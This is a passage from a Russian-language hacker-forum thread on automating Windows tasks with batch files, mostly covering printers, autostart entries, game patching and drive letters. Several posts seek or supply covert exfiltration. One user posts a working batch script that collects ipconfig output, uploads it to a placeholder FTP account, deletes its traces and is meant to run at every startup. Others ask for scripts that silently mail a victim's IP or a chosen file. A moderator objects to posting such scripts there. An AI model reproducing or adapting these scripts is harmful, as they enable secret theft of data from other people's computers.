Автоматизация используя возможности командной строки Windows [BAT - файлы]

Discussion in 'Windows' started by m-Xacker, 11 Nov 2008.

  1. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Написать скрипт на bat который пройдет по всем компьютерам с принтерами и сделать список.

    net view prncmp | find /i "print" >> result.xt

    Или сделать через powershell,так же пишется скрипт,который работает через WMI:

    gwmi win32_printer -filter "Shared='$true'" -computername xxxx | ft name,servername >> result.txt

    Через bat подключить можно:
     
    #21 SpangeBoB, 1 Aug 2009
    Last edited: 1 Aug 2009
    1 person likes this.
  2. velikijmerlin

    velikijmerlin New Member

    Joined:
    27 Feb 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    доброе время суток, решил вот написать кое чего очень полезного)))
    делаю вобщем из Делфи.... но чтобы в итоге получались батники....

    крч, смысл вопроса, надо добавить батник в автозагрузку, не подскажите как это можно сделать?(ОС ХР)

    вот это не работает(((
    @echo off
    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Driver_"="%windir%\Cursors\ test.bat-LM"

    кто может помогите....
     
  3. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    команда reg /?
     
  4. velikijmerlin

    velikijmerlin New Member

    Joined:
    27 Feb 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    вот попытался скопировать батник в папку автозагрузки, а он пишет что низзя...(((

    [​IMG]
     
  5. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Путь надо в "" заключить.
     
  6. vilfenix

    vilfenix New Member

    Joined:
    9 Aug 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Есть батник:

    Задача этого батника присылать чужой IP на мыло. Он это делает каждую секунду, а мне нада чтоб хотябы каждые пять минут, ПОМОГИТЕ плиз, что там нада поменять?
     
  7. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    WScript.Sleep 300000
     
  8. velikijmerlin

    velikijmerlin New Member

    Joined:
    27 Feb 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    боольшой батник очень...

    Code:
    @echo off
    ipconfig /all >> %date%_ip.txt
    echo open "your ftp accaunt">go&&echo "ftp user_name">>go&&echo "ftp_password">>go&&echo bin>>go&&echo pushd %date%_ip.txt>>go&&echo bye>>go
    ftp -s:go
    del go
    del  /y %date%_ip.txt
    
    вот этот делает тоже самое....
    только более короткий...
    но он делает это один раз.... чтобы делал допустим при каждом старте системы, просто кинуть в атозагрузку надо....
     
  9. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Больше не выкладывайте подобные скрипты в разделе для администратора.
     
    #29 SpangeBoB, 15 Aug 2009
    Last edited: 15 Aug 2009
  10. velikijmerlin

    velikijmerlin New Member

    Joined:
    27 Feb 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    эммм....
    в смысле?)))
    что то не правильно?))) или просто раздел не тот?)))
     
  11. Nobody4alj

    Nobody4alj New Member

    Joined:
    20 Aug 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    этот сурс ты через батч пускаеш? ) в *.reg файл это "кроме @echo off" и запускай
     
  12. tekton

    tekton Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    73
    Likes Received:
    3
    Reputations:
    0
    Привет всем! :)

    Есть задача:

    найти на компе определёный файл, и отправить его на почту.
    При этом, сделать это без участия пользоавтеля.
    Я имею в виду, чтоб запустил один раз и всё. Чтоб батник всё сделал сам без лишних вопросов.
     
  13. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    https://forum.antichat.ru/thread84364.html
    https://forum.antichat.ru/thread83653.html
     
  14. tekton

    tekton Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    73
    Likes Received:
    3
    Reputations:
    0
    Привет всем!
    Такая проблемка :

    Есть игра, есть ролик к ней, и патч.

    Делаю так, прописываю в авторане вместо setap.ехе setap.bat
    в батнике пишу
    Code:
    color c
    pleer1.exe stk_cop_950x536_rus.avi 
    STALK.jpg  ;  Если можно так сделать чтоб картинка повисела секунд 10-15 посеридине монитора а потом закрылась
    start pleer2.exe 384_DJRAmix.mp3 ; музычка чтоб весеелее шла установка :)
    setap.exe  ;  установка дистрибутива
    
    А дальше нужно создать переменную чтоб Bat после установки проги нашёл файл и сделал 
    ren xrEngine.exe xrEngine.exe.BAK ;  бекап 
    del /y   xrEngine.exe ; удаление без запросов
    copy  с CD    пропатченного файлика  xrEngine.exe в нужную дерикторию
    EXIT
    Вот путь к папке в которой сейчас файлик xrEngine.exe лежит
    Code:
    F:\Program Files\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin
    Пробовал делать типа 
    %ProgramFiles%\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin
    Но чет не работает :(
    Помогите прописать переменные ! ;)
     
  15. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    "F:\Program Files\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin"
     
  16. tekton

    tekton Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    73
    Likes Received:
    3
    Reputations:
    0
    SpangeBoB спасибо конечно!
    Но ты не понял что я хочу.

    Вот например в Dup2 если надо пропатчить прогу, но не знаешь на каком диске она установлена пишем переменную типа %ProgramFiles% ну и так далее

    Если прога установленва не на C: а на D:
    патч и там найдёт нужный файл.

    Вот я хочу добиться такого же эфекта только чтоб прога патчилась автоматом через Bat ник и с CD :)
     
    #36 tekton, 15 Nov 2009
    Last edited: 15 Nov 2009
  17. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Выдираете с помощью reg из реестра по адресу и отфильтровываете по нужной программе:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall (ключ InstallLocation)

    И через цикл for подставить значение.Если программа ставиться через MSI,то выдернуть можно через.

    wmic product ( нужное свойство посмотреть здесь http://msdn.microsoft.com/en-us/library/aa394378(VS.85).aspx)

    PS.Хотя можно не чего и не отфильтровывать посмотреть у себя какой ключ создается в реестре и сразу же запросить параметр InstallLocation.

    Может кому на будущее пригодится скрипт:
     
    #37 SpangeBoB, 15 Nov 2009
    Last edited: 15 Nov 2009
  18. tekton

    tekton Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    73
    Likes Received:
    3
    Reputations:
    0
    Спасибо!!!

    Следующий вопрос:
    как создать переменную чтоб в неё заносилась буква флешки или CD ?

    Надо выполнить запуск ролика с CD через коммандную строку

    Чтоб типа такого было
    Code:
    Start mplayer2.exe  %переменная содержащая букву  CD%\Video\Rolik.avi
    И попутный вопрос выплывающий из этого:
    Как определить какому диску буква пренадлежит ? CD или Flesh ?

    И второй вопрос:
    можно ли заменить файл не зная на каком он диске находится?
    Ну сделать типа поиска по названию файла по всем дискам, а потом создать переменную в которую будет записываться путь до файла ?

    И ещё:
    Можно ли минимизировать bat файл в трей? И какими коммандами это делается?



    Заранее спасибо !!!
     
    #38 tekton, 16 Nov 2009
    Last edited: 16 Nov 2009
  19. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Если bat файл запускается с фэлш или cd то можно использовать
    %~d0\ - expands %I to a drive letter only
    Если надо через бат узнать,то тут уже сложнее гораздо.Тут надо использовать WMI.Это сами мучайте классы Win32_DriskDriver,WIn32_Volume

    Поиск по дискам можно осуществить через for ,dir /s и фильтровать по имени файла через findstr.Небольшой пример:
    Для определения подключенных flash можно попробовать
    Для CDROm посмотреть http://msdn.microsoft.com/en-us/library/aa394173(VS.85).aspx
     
    #39 SpangeBoB, 16 Nov 2009
    Last edited: 17 Nov 2009
  20. tekton

    tekton Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    73
    Likes Received:
    3
    Reputations:
    0


    В принципе один приятель предложил такой вариант с двумя батниками:

    первый start.bat :
    Code:
    %comspec% /c start /min Untitled.bat
    Второй Untitled.bat :
    Code:
    mplayerc.exe /fullscreen %~d0\vid\stk_cop_950x536_rus.avi
    EXIT
    А может всётаки можно одним батом обойтись ??? ;)